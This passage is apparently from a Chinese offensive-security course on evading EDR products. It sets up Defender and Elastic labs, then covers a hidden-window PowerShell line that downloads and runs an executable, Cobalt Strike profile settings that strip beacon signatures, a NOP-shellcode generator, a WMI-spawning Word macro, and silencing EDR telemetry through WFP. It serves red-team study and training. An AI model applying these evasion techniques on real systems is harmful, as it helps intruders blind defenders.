[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/pxRhZRdILBI8dI5y-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/pxRhZRdILBI8dI5y-image.png)

接下来，我们需要注册设备。访问 [https://security.microsoft.com/](https://security.microsoft.com/)，进入 Settings -&gt; Endpoints

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/Wc9Mz8gaI7nOcYXs-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/Wc9Mz8gaI7nOcYXs-image.png)

首次配置，微软会建议我们分配用户权限和通知，但我们可以暂时跳过，因此我们只是用于个人研究，而非真正管理企业。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/X467TbqdgXeCE0Rg-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/X467TbqdgXeCE0Rg-image.png)

这里，我们选择 Local Script，即本地脚本。通过运行脚本，这会与 Entra ID 建立信任。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/TtRK58Mu0Pa9eVWw-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/TtRK58Mu0Pa9eVWw-image.png)

在高完整度下运行命令行，执行脚本

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/QWbsmQjdMTlUnI6q-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/QWbsmQjdMTlUnI6q-image.png)

然后，我们可以运行一个检测测试来验证设备已经注册成功。我们在 C 盘下创建名为 test-MDATP-test 的文件夹，然后运行下述 powershell 命令：

```powershell
powershell.exe -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden $ErrorActionPreference = 'silentlycontinue';(New-Object System.Net.WebClient).DownloadFile('http://127.0.0.1/1.exe', 'C:\\test-MDATP-test\\invoice.exe');Start-Process 'C:\\test-MDATP-test\\invoice.exe'
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/5yVYENtMrHEHTnsN-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/5yVYENtMrHEHTnsN-image.png)

如果运行后，命令行自动关闭，那么意味着检测测试通过。这里，在运行后，powershell 程序确实被关闭了。

我们可以在面板中看到注册后的设备，以及查看相应的告警。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/j3C7HQi1soE6JTzV-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/j3C7HQi1soE6JTzV-image.png)

检测日志的出现可能存在延迟，不过几分钟后，我们便能看到对应的告警。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/Poy6xZJ6DeyLs31t-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/Poy6xZJ6DeyLs31t-image.png)

### **Elastic EDR**

Elastic EDR 是一款易于部署，业内有着良好声誉，免费的 EDR 产品。当然，Elastic 也有面向企业的更加高级的方案，对此我们也有着 30 天的免费试用。

不过，手动配置 Elastic 栈以及 EDR 是个比较繁琐的任务，因此我们将用 Docker 简化这一过程，elastic-container 项目([https://github.com/peasead/elastic-container](https://github.com/peasead/elastic-container)) 帮了大忙。

我们将在 Ubuntu 服务器上部署，用到 Docker 来安装和运行 Elasticsearch，Kibana，和 Fleet。

首先卸载所有冲突的包：

```bash
for pkg in docker.io docker-doc docker-compose podman-docker containerd runc; do sudo apt-get remove $pkg; done
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/b2BWVXfcUeUpL18k-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/b2BWVXfcUeUpL18k-image.png)

然后，设置 Docker 仓库：

```bash
sudo apt-get update
sudo apt-get install ca-certificates curl gnupg
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/YNGcK8DNem0nhCVX-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/YNGcK8DNem0nhCVX-image.png)

添加 Docker 的官方 PGP 密钥。

```bash
sudo install -m 0755 -d /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
sudo chmod a+r /etc/apt/keyrings/docker.gpg
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/ekQwPETcHeqsdoRa-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/ekQwPETcHeqsdoRa-image.png)

使用下述命令配置仓库：

```bash
echo "deb [arch="$(dpkg --print-architecture)" signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu "$(. /etc/os-release && echo "$VERSION_CODENAME")" stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/NrbpfzhprAa9Gnd9-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/NrbpfzhprAa9Gnd9-image.png)

更新 APT 包索引：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/rM9jmbymj3wArLJG-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/rM9jmbymj3wArLJG-image.png)

安装 Docker 引擎

```bash
apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/uGvYIHsYVphpiJeg-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/uGvYIHsYVphpiJeg-image.png)

接下来，我们就该安装 Elastic 了。首先，安装依赖：

```bash
apt-get install jq git curl
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/rBaEdiJ3EmD9gZxh-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/rBaEdiJ3EmD9gZxh-image.png)

克隆仓库：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/XyznhX8IoqLg5Ys3-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/XyznhX8IoqLg5Ys3-image.png)

编辑项目中的 **.env** 文件

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/KQbAsdccumE52SeB-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/KQbAsdccumE52SeB-image.png)

根据自己需要修改账号密码，用户名需要是 **elastic**，否则会无法启动检测引擎。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/fscCjszt13IaHjEf-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/fscCjszt13IaHjEf-image.png)

开启 Windows 检测，并且根据需要调节 basic 或者 trial，其中 trial 是30天，提供高级检测特性。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/Qr2jd48umIglxgYx-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/Qr2jd48umIglxgYx-image.png)

赋予脚本执行权，并且启动所有组件，脚本将下载和配置容器。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/hEg52LLvTIVrywoE-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/hEg52LLvTIVrywoE-image.png)

几分钟后，配置完成。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/rmidRPbXbwMyqaKB-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/rmidRPbXbwMyqaKB-image.png)

于是，我们可以访问 kibana 与 elasticsearch 面板了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/5BBOrCVSf8UP0n2e-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/5BBOrCVSf8UP0n2e-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/2pcm3sDXSHEXK15I-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/2pcm3sDXSHEXK15I-image.png)

我们进入左侧导航栏的 **Management -&gt; Fleet**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/zBkfImFnjidAcQNu-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/zBkfImFnjidAcQNu-image.png)

配置 **Setting**s 里的 **Outputs Actions**，确保 **Advanced YAML configuration** 的值如图所示。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/DvRfv2yWN9UflF6b-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/DvRfv2yWN9UflF6b-image.png)

添加一个 Agent

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/rKhAUdJqu5LirXTZ-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/rKhAUdJqu5LirXTZ-image.png)

创建一个新的 policy

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/XSlVYOiVDRf7h0Ri-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/XSlVYOiVDRf7h0Ri-image.png)

然后，在受控的 Windows 主机上运行下述命令，记得改成自己的 IP。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/DXhew42dnvrbwRVj-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/DXhew42dnvrbwRVj-image.png)

```powershell
$ProgressPreference = 'SilentlyContinue'
Invoke-WebRequest -Uri https://artifacts.elastic.co/downloads/beats/elastic-agent/elastic-agent-8.12.2-windows-x86_64.zip -OutFile elastic-agent-8.12.2-windows-x86_64.zip
Expand-Archive .\elastic-agent-8.12.2-windows-x86_64.zip -DestinationPath .
cd elastic-agent-8.12.2-windows-x86_64
.\elastic-agent.exe install --url=https://192.168.1.165:8220 --enrollment-token=U1dHZnBvOEJlTFFfLVFjampldW46a3EzU3VqV2NSc2VVTlRxeVBvSkt1QQ== --insecure
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/Ar4kWUwIZOwJd37B-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/Ar4kWUwIZOwJd37B-image.png)

安装完成后，我们便能在列表里看到新注册的设备了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/H5iCYWuWbMgvtLRS-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/H5iCYWuWbMgvtLRS-image.png)

选择刚才新建的 Policy，点击 **Add Integration**，选择 **Elastic Defend**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/gek3jVZQ7ck0pmk1-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/gek3jVZQ7ck0pmk1-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/GLsqjlVTf1nzA78x-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/GLsqjlVTf1nzA78x-image.png)

添加一个名称，选择 **Complete EDR**，作用于该 Policy，保存。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/V9BsPYOEboIjpK7R-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/V9BsPYOEboIjpK7R-image.png)

左侧导航栏进入 **Security -&gt; Alert**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/X6x5iSa3mgaHlp3z-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/X6x5iSa3mgaHlp3z-image.png)

点击 **Manage rules**，我们可以看到已经安装的规则，确保他们都是**启用**的状态。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/LP4LMW9NyM6iCfIU-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/LP4LMW9NyM6iCfIU-image.png)

尝试运行一个恶意软件作为测试，我们发现 Elastic EDR 能立即拦截了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/RnNIeKhWAF0NAXKU-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/RnNIeKhWAF0NAXKU-image.png)

我们也能在面板里看到相应的告警：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/WJbfkQf2nMcUl5lA-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/WJbfkQf2nMcUl5lA-image.png)

有趣的是，Elastic 公开了其检测规则([https://github.com/elastic/detection-rules](https://github.com/elastic/detection-rules))，我们可以根据检测规则中的 gap 来实现对 Elastic EDR 的绕过。

除此之外，Wazuh([https://wazuh.com/](https://wazuh.com/)) 与 OpenEDR([https://www.openedr.com/](https://www.openedr.com/)) 也是 2 款免费开源的 EDR，有兴趣可以自行配置与尝试。

# 堆栈加密

### **栈加密**

[https://whiteknightlabs.com/2023/05/02/masking-the-implant-with-stack-encryption/](https://whiteknightlabs.com/2023/05/02/masking-the-implant-with-stack-encryption/)

[https://labs.cognisys.group/posts/Advanced-Module-Stomping-and-Heap-Stack-Encryption/](https://labs.cognisys.group/posts/Advanced-Module-Stomping-and-Heap-Stack-Encryption/)

### **堆加密**

[https://github.com/SaadAhla/HeapCrypt](https://github.com/SaadAhla/HeapCrypt)

[https://www.arashparsa.com/hook-heaps-and-live-free/](https://www.arashparsa.com/hook-heaps-and-live-free/)

### **代码区加密**

[https://www.solomonsklash.io/SleepyCrypt-shellcode-to-encrypt-a-running-image.html](https://www.solomonsklash.io/SleepyCrypt-shellcode-to-encrypt-a-running-image.html)

# 返回地址欺骗

[https://offensivecraft.wordpress.com/2022/12/08/the-stack-series-return-address-spoofing-on-x64/](https://offensivecraft.wordpress.com/2022/12/08/the-stack-series-return-address-spoofing-on-x64/)

[https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html](https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html)

# 调用栈欺骗

### **睡眠欺骗**

[https://github.com/Kudaes/Unwinder](https://github.com/Kudaes/Unwinder)

[https://github.com/Cobalt-Strike/CallStackMasker](https://github.com/Cobalt-Strike/CallStackMasker)

[https://github.com/klezVirus/SilentMoonwalk/tree/master](https://github.com/klezVirus/SilentMoonwalk/tree/master)

[https://github.com/Cracked5pider/Ekko](https://github.com/Cracked5pider/Ekko)

[https://www.cobaltstrike.com/blog/behind-the-mask-spoofing-call-stacks-dynamically-with-timers](https://www.cobaltstrike.com/blog/behind-the-mask-spoofing-call-stacks-dynamically-with-timers)

### **任意函数调用欺骗**

[https://dtsec.us/2023-09-15-StackSpoofin/](https://dtsec.us/2023-09-15-StackSpoofin/)

[https://github.com/WithSecureLabs/CallStackSpoofer](https://github.com/WithSecureLabs/CallStackSpoofer)

[https://github.com/kyleavery/AceLdr](https://github.com/kyleavery/AceLdr)

[https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs](https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs)

[https://0xdarkvortex.dev/hiding-in-plainsight/](https://0xdarkvortex.dev/hiding-in-plainsight/)

[https://securityintelligence.com/x-force/reflective-call-stack-detections-evasions/](https://securityintelligence.com/x-force/reflective-call-stack-detections-evasions/)

# 案例分析：Cobalt Strike 绕过检测

#####   


[https://whiteknightlabs.com/2023/05/23/unleashing-the-unseen-harnessing-the-power-of-cobalt-strike-profiles-for-edr-evasion/](https://whiteknightlabs.com/2023/05/23/unleashing-the-unseen-harnessing-the-power-of-cobalt-strike-profiles-for-edr-evasion/)

[https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures](https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures)

[https://www.cobaltstrike.com/blog/cobalt-strike-and-yara-can-i-have-your-signature](https://www.cobaltstrike.com/blog/cobalt-strike-and-yara-can-i-have-your-signature)

[https://github.com/threatexpress/malleable-c2/blob/master/jquery-c2.4.9.profile](https://github.com/threatexpress/malleable-c2/blob/master/jquery-c2.4.9.profile)

[https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2-extend\_main.htm](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2-extend_main.htm)

### **网络通信**

### **Beacon**

##### **HTTP Beacon**

#### **TCP Beacon**

set tcp\_port 设置 TCP 端口，切勿使用默认的 4444 端口。

#### **SMB Beacon**

pipename 设置命名管道，不要使用现有的。

pipename\_stager

### **Stager**

host\_stage 设置为 False 以关闭 stager，使用 stageless 的载荷。

### **Beacon PE 与 内存**

控制 Beacon 被载入至内存时的特征。

allocator：分配内存的方法，可以指定 VirtualAlloc，HeapAlloc，或者 MapViewOfFile

cleanup：让 Beacon 释放反射式 DLL 加载器的内存

checksum：PE 头中的数据

compile\_time：PE 头中的数据。

entry\_point：PE 头中的程序入口偏移值。

image\_size\_x86/64：PE 头中的映像尺寸。

magic\_mz\_x86/64：PE 文件的第一个 DWORD。

module\_x86/64：加载指定的模块并覆盖它的空间，而不是分配空间。需要注意的是，用于覆盖的 DLL 尺寸不能比初始加载的大。

magic\_pe：覆盖 NT 头的 PE 字符

name：指定 Beacon 的模块名称

obfuscate：混淆 Beacon，通过覆盖没有被使用的 DLL 头的内容，混淆导入表，ReflectiveLoader 不拷贝 DLL 的头。

rich\_header：元数据信息

```python
import random

def generate_junk_assembly(length):
    return ''.join([chr(random.randint(0, 255)) for _ in range(length)])

def generate_rich_header(length):
    rich_header = generate_junk_assembly(length)
    rich_header_hex = ''.join([f"\\x{ord(c):02x}" for c in rich_header])
    return rich_header_hex

#make sure the number of opcodes has to be 4-byte aligned
print(generate_rich_header(100))
```

rich\_header 需要 4 字节对齐，以及为了让 rich header 更加真实有效，我们可以查看真实 DLL 的。

sleep\_mask：当 Beacon 在睡眠时，加密 .text 区域。

smartinject：告知 Beacon 内置的函数指针以避免 PEB walking。

stomppe：对 PE 头的特定数据值进行覆盖

userwx：使用 RWX 权限的内存

syscall\_method：是否使用 syscall 执行 API。可以指定 None，Direct，Indirect。

transform-x86/64：对 DLL 进行转换，支持 prepend，append 和 strrep 命令。

```yaml
transform-x64 {
    prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops
    strrep "This program cannot be run in DOS mode" ""; # Remove this text
    strrep "ReflectiveLoader" "";
    strrep "beacon.x64.dll" "";
    strrep "beacon.dll" ""; # Remove this text
    strrep "msvcrt.dll" "";
    strrep "C:\\Windows\\System32\\msvcrt.dll" "";
    strrep "Stack around the variable" "";
    strrep "was corrupted." "";
    strrep "The variable" "";
    strrep "is being used without being initialized." "";
    strrep "The value of ESP was not properly saved across a function call.  This is usually a result of calling a function declared with one calling convention with a function pointer declared" "";
    strrep "A cast to a smaller data type has caused a loss of data.  If this was intentional, you should mask the source of the cast with the appropriate bitmask.  For example:" "";
    strrep "Changing the code in this way will not affect the quality of the resulting optimized code." "";
    strrep "Stack memory was corrupted" "";
    strrep "A local variable was used before it was initialized" "";
    strrep "Stack memory around _alloca was corrupted" "";
    strrep "Unknown Runtime Check Error" "";
    strrep "Unknown Filename" "";
    strrep "Unknown Module Name" "";
    strrep "Run-Time Check Failure" "";
    strrep "Stack corrupted near unknown variable" "";
    strrep "Stack pointer corruption" "";
    strrep "Cast to smaller type causing loss of data" "";
    strrep "Stack memory corruption" "";
    strrep "Local variable used before initialization" "";
    strrep "Stack around" "corrupted";
    strrep "operator" "";
    strrep "operator co_await" "";
    strrep "operator<=>" "";

    }
```

我们可以用如下脚本生成 NOP 类的 shellcode：

```python
import random

# Define the byte strings to shuffle
byte_strings = ["40", "41", "42", "6690", "40", "43", "44", "45", "46", "47", "48", "49", "", "4c", "90", "0f1f00", "660f1f0400", "0f1f0400", "0f1f00", "0f1f00", "87db", "87c9", "87d2", "6687db", "6687c9", "6687d2"]

# Shuffle the byte strings
random.shuffle(byte_strings)

# Create a new list to store the formatted bytes
formatted_bytes = []

# Loop through each byte string in the shuffled list
for byte_string in byte_strings:
    # Check if the byte string has more than 2 characters
    if len(byte_string) > 2:
        # Split the byte string into chunks of two characters
        byte_list = [byte_string[i:i+2] for i in range(0, len(byte_string), 2)]
        # Add \x prefix to each byte and join them
        formatted_bytes.append(''.join([f'\\x{byte}' for byte in byte_list]))
    else:
        # Add \x prefix to the single byte
        formatted_bytes.append(f'\\x{byte_string}')
        
# Join the formatted bytes into a single string
formatted_string = ''.join(formatted_bytes)

# Print the formatted byte string
print(formatted_string)
```

将生成的 NOP 类 shellcode 添加到文件头。

```yaml
transform-x64 {
        ...
        prepend "\x44\x40\x4B\x43\x4C\x48\x90\x66\x90\x0F\x1F\x00\x66\x0F\x1F\x04\x00\x0F\x1F\x04\x00\x0F\x1F\x00\x0F\x1F\x00";
        ...
}
```

### **进程注入**

allocator：为远程进程分配空间的偏好方法，有 VirtualAllocEx，NtMapViewOfSection。后者只能用于同架构。

bof\_allocator：为 BOF 分配内存的偏好方法，可以指定 VirtualAlloc，HeapAlloc，或者 MapViewOfFile

bof\_reuse\_memory：复用已经分配的空间执行后续的 BOF，否则则释放内存。如果内存不够大，也会释放。

min\_alloc：分配的最小内存空间

startrwx：为注入的内容或者 BOF 分配初始 RWX 权限的内存

userwx：使用 RWX 为最终的权限

transform-x86/64：对 DLL 进行转换，支持 prepend 和 append 命令。

execute：如何执行被注入的代码。选项有 CreateThread，CreateRemoteThread，NtQueueApcThread，NtQueueApcThreads，RtlCreateUserThread，SetThreadContext。

### **后利用 DLL** 

spawnto\_x86/64：临时进程。不要使用 svchost.exe，而 wmiprvse.exe 因为被一些安全产品广泛使用，可以选择。

obfuscate：对 DLL 进行混淆，例如混淆字符串。这样，后利用 DLL 可以在内存中以更加 OPSEC 安全的方式存在。

pipename： 用于接收输出的命名管道名称

smartinject：将重要的函数指针从 Beacon 传递给子任务。Beacon 是知道一些重要函数的地址，如 LoadLibraryA，GetProcessAddress 等。但因为后利用的 DLL 作为 PIC Shellcode，一般来说需要通过 PEB Walking 的方法来获得。这个选项可以让 Beacon 把重要的函数指针“告知”后利用的 shellcode。

amsi\_disable：使用 powershell，powerpick，execute-assembly 时绕过 AMSI。但因为该操作本身可引发检测，建议关闭。

keylogger：指定捕捉按键记录的 API

threadhint：允许多线程的 DLL 生成具有伪造的起始地址的线程，建议关闭。

cleanup：当后利用的 DLL 被载入后清除 UDRL 内存

transform-x86/64：对 DLL 进行转换，支持 strrep 和 strrepex 命令。前者替换所有 DLL 中的字符串，后者替换特定 DLL 中的字符串。

# 案例分析：从 LSASS.EXE 中导出凭证



# 案例分析：Word 宏绕过检测

#####   


### **WMI**

```vbscript
Sub CreateProcess()

    Dim strComputer As String
    Dim strCommand As String
    Dim objWMIService As Object
    Dim objStartup As Object
    Dim objProcess As Object
    Dim objInParam As Object
    Dim objOutParam As Object

    ' The name of the remote computer
    strComputer = "127.0.0.1"

    ' The command you want to run
    strCommand = "powershell.exe"

    ' Connect to the WMI service on the remote computer
    Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

    ' Get the Win32_ProcessStartup class
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")

    ' Get the Win32_Process class
    Set objProcess = objWMIService.Get("Win32_Process")

    ' Get an in-parameter object for the Create method
    Set objInParam = objProcess.Methods_("Create").InParameters.SpawnInstance_

    ' Set the properties of the in-parameter object
    objInParam.Properties_.Item("CommandLine") = strCommand
    objInParam.Properties_.Item("ProcessStartupInformation") = objStartup

    ' Execute the Create method
    Set objOutParam = objWMIService.ExecMethod("Win32_Process", "Create", objInParam)

    ' Check the return value
    If objOutParam.ReturnValue = 0 Then
        MsgBox "Process created successfully."
    Else
        MsgBox "Failed to create process. Error code: " & objOutParam.ReturnValue
    End If

End Sub
```

### **GadgetToJScript**

# 案例分析：APT 的初始访问 TTP



# 第15章课后作业



# 面试专题



# EDRPrison: 借助合法驱动静默EDR

今天我要分享一种可以用来绕过 EDR 产品的技术。我不会称其为“新”技术，因为我借鉴了一些现有项目和技术。这不是典型的 EDR 规避方法，例如睡眠混淆、堆栈欺骗，或系统调用操纵，而是利用了检测机制中的疏忽。

该技术的原理不算突破性也不复杂。然而，在研究过程中，我遇到了许多死胡同，多次认为已经走到了绝路。因此，我将在本文中分享我的困难和失败尝试。

### **基于网络连接的规避**

除了直接使用高级恶意软件技术与 EDR 对抗外，还有其他方法可以实现规避，例如利用 EDR 配置错误或漏洞、卸载 EDR 代理或使用脆弱的驱动程序杀死 EDR 进程。在这些间接规避技术中，我对基于网络连接的规避特别感兴趣。

这个概念并不完全新颖。EDR 代理规律地通过发送遥测数据与中央或云服务器通信，其中包括主机信息、诊断警报、检测等数据。对于更复杂的恶意软件，EDR 代理可能不会立即终止程序。相反，代理会监控恶意软件的行为并利用云上的机器学习。一旦收集到足够的证据，恶意软件的执行将被终止。这表明 EDR 严重依赖云。当然，代理仍然可以检测到经典的恶意软件和技术，例如普通的Mimikatz。然而，没有互联网连接，EDR 失去了大部分效力，SOC 团队无法通过 EDR 管理面板监控终端。

我在我的物理服务器上安装了 Microsoft Defender for Business 和 Elastic Endpoint 这 2 个EDR。根据以下截图，这些传感器与各种服务器通信，每个服务器执行不同的角色。有些服务器收集遥测数据以进行进一步分析，有些服务器收集恶意软件样本，等等。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/Yapimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/Yapimage.png)

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/xjgimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/xjgimage.png)

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/UnGimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/UnGimage.png)

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/jEmimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/jEmimage.png)

为了更方便地观察明文遥测数据，我在故意运行一些普通恶意软件后使用 [mitmproxy](https://github.com/mitmproxy/mitmproxy) 检查了以下 HTTP 数据包，发现数据确实包含了检测和警报信息。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/Eqtimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/Eqtimage.png)

除了经历互联网中断或停电之外，不如我们有意地促使终端离线？原理并不复杂。几年前，[一篇文章](https://medium.com/csis-techblog/silencing-microsoft-defender-for-endpoint-using-firewall-rules-3839a8bf8d18)展示了通过利用 Windows Defender 防火墙规则来实现这一点。设置规则以阻止 EDR 进程向云发送数据听起来很简单。然而，除了需要管理员权限外，还有其他缺点和防御措施。

[一篇短文](https://write-verbose.com/2022/05/31/EDRBypass/)提供了两种快速的防御措施。通过启用篡改保护，试图利用防火墙规则来静默 MDE 进程的尝试将被阻止。尽管篡改保护专门保护 MDE 进程，但其他 EDR 供应商也可能采用类似的保护机制。禁用防火墙规则合并是另一种有效的对策。特别是对于使用 AD 的组织，组策略可以覆盖终端本地防火墙设置。

Windows Defender 防火墙支持基于远程地址和端口的规则。不幸的是，一些 EDR 产品与数百甚至数千个联系服务器通信，使得包括每个联系服务器在内同时保持隐蔽变得困难。对于 Microsoft Defender for Endpoint/Business，我们可以参考[配置设备连接性](https://learn.microsoft.com/en-us/defender-endpoint/configure-device-connectivity)和[Azure IP范围](https://azureipranges.azurewebsites.net/)的文档。数据可能会被发送到数千个云服务器中，光是阻止 MDE 传感器发送数据就已经如此繁琐了，更不用说其他EDR产品了。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/7s2image.png)](https://winslow1984.com/uploads/images/gallery/2024-06/7s2image.png)

### **WFP 和 EDRSilencer**

由于对 Windows Defender 防火墙的更改很容易被观察到，在更底层篡改可能是更好的方法。这使我们注意到 Windows 过滤平台，即 WFP。

根据[微软文档](https://learn.microsoft.com/en-us/windows/win32/fwp/windows-filtering-platform-start-page)，WFP 是一组 API 和系统服务，提供开发者在各层与数据包处理交互和操纵的灵活性和能力。WFP 允许用户通过应用程序、用户、地址、网络接口等过滤连接。WFP 的功能被用于内容过滤、家长监控、规避审查、深度数据包检查等。因此，WFP 被广泛用于安全产品，如 IDS/IPS、广告拦截器、防火墙、EDR 和 VPN。Windows Defender 防火墙也是基于 WFP。以下截图显示了[AdGuard](https://adguard.com/) 使用WFP驱动程序扩展其功能

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/image.png)](https://winslow1984.com/uploads/images/gallery/2024-06/image.png)

WFP非常复杂，我们这里不可能涵盖所有特性。微软有关于 WFP 的海量文档，大家自由探索详细信息。然而，我将以简化的方式解释一些关键概念，以避免大家感到困惑。

##### **Callout**

Callout 是驱动程序导出的一组功能，用于专门的过滤。WFP包括一些[内置的 callout 函数](https://learn.microsoft.com/en-us/windows/win32/fwp/built-in-callout-identifiers)，每个功能由一个 GUID 标识。

##### **过滤引擎**

过滤引擎由一个用户模式组件，基本过滤引擎(BFE) 和一个内核模式组件，通用过滤引擎组成。这些组件共同作用于数据包执行过滤操作。内核模式组件在网络和传输层进行过滤。在对网络流量应用过滤器的过程中，内核模式组件调用可用的调用功能。

##### **过滤器**

过滤器是与数据包匹配的规则，告诉过滤引擎如何处理流量。例如，一个规则可能是“阻止所有到 TCP 端口9200的出站数据包”。过滤器可以是启动时或运行时的。启动时过滤器在 tcpip.sys 启动时强制执行，而运行时过滤器更灵活。

##### **Callout 驱动**

为了实现更特定的目标，如深度包检测 DPI 或网站家长监管，需要自定义 Callout 驱动以扩展 WFP 功能。微软提供了一个示例 WFP callout 驱动程序项目，可以在[此处](https://github.com/microsoft/Windows-driver-samples/tree/main/network/trans/WFPSampler/sys)找到。示例调用驱动程序被 WFPSampler.exe 用于定义策略，如[此处](https://learn.microsoft.com/en-us/samples/microsoft/windows-driver-samples/windows-filtering-platform-sample/)所述。

我们可以使用 netsh.exe 程序或 [WFPExplorer](https://github.com/zodiacon/WFPExplorer) 查看 WFP 对象。

```powershell
netsh wfp show filters
```

